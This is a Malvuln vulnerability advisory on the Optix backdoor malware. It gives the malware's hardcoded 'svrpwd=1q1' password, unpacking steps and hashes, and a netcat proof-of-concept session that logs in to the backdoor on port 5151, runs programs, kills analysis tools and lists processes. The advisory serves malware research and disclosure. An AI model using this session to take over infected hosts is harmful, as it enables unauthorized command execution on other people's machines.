Backdoor.Win32.Optix.02.b MVID-2024-0690 Hardcoded Credential

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024  
Original source: https://malvuln.com/advisory/706ddc06ebbdde43e4e97de4d5af3b19.txt  
Contact: [email protected]  
Media: x.com/malvuln   
  
Threat: Backdoor.Win32.Optix.02.b  
Vulnerability: Weak Hardcoded Credentials  
Description: Optix listens on TCP port 5151 and is packed with ASPack (2.11d). Unpacking is trivial set breakpoints on POPAD, RET, run and dump using OllyDumpEx. The unpacked PE file reveals a very weak three character cleartext password "1q1" stored as "svrpwd=1q1" at offset: 0000da4c of the unpacked malware. Commands sent to the backdoor use a semicolon ";" as a marker E.g. password;1q1;  
Family: Optix  
Type: PE32  
MD5: 706ddc06ebbdde43e4e97de4d5af3b19  
SHA256: 2d38b18bdedfa7f27aac3f52a6d717f3cef7cf809e06f4a34ac0a93c90a82b1c  
Vuln ID: MVID-2024-0690  
Disclosure: 09/03/2024  
  
Exploit/PoC:  
nc64.exe x.x.x.x 5151  
password;1q1;  
password;1;Optix Lite v0.2 Server Ready...  
ExecFile;"c:\Windows\System32\calc.exe"  
Response;File Ran Successfully  
GetPath;  
TheServerPath;c:\windows\sec32.exe  
GetSysDir;  
TheSysDir;  
;C:\WINDOWS\system32\  
GetWinDir;  
TheWinDir;  
;C:\WINDOWS\  
KillProcPls;pestudio.exe;  
Response;Program killed successfully!  
KillProcPls;die.exe;  
Response;Program killed successfully!  
GetProcsPls;  
HeresDaProcs;[System Process];System;smss.exe;csrss.exe;wininit.exe;csrss.exe;winlogon.exe;services.exe;lsass.exe;fontdrvhost.exe;fontdrvhost.exe;svchost.exe;svchost.exe;dwm.exe;...  
  
  
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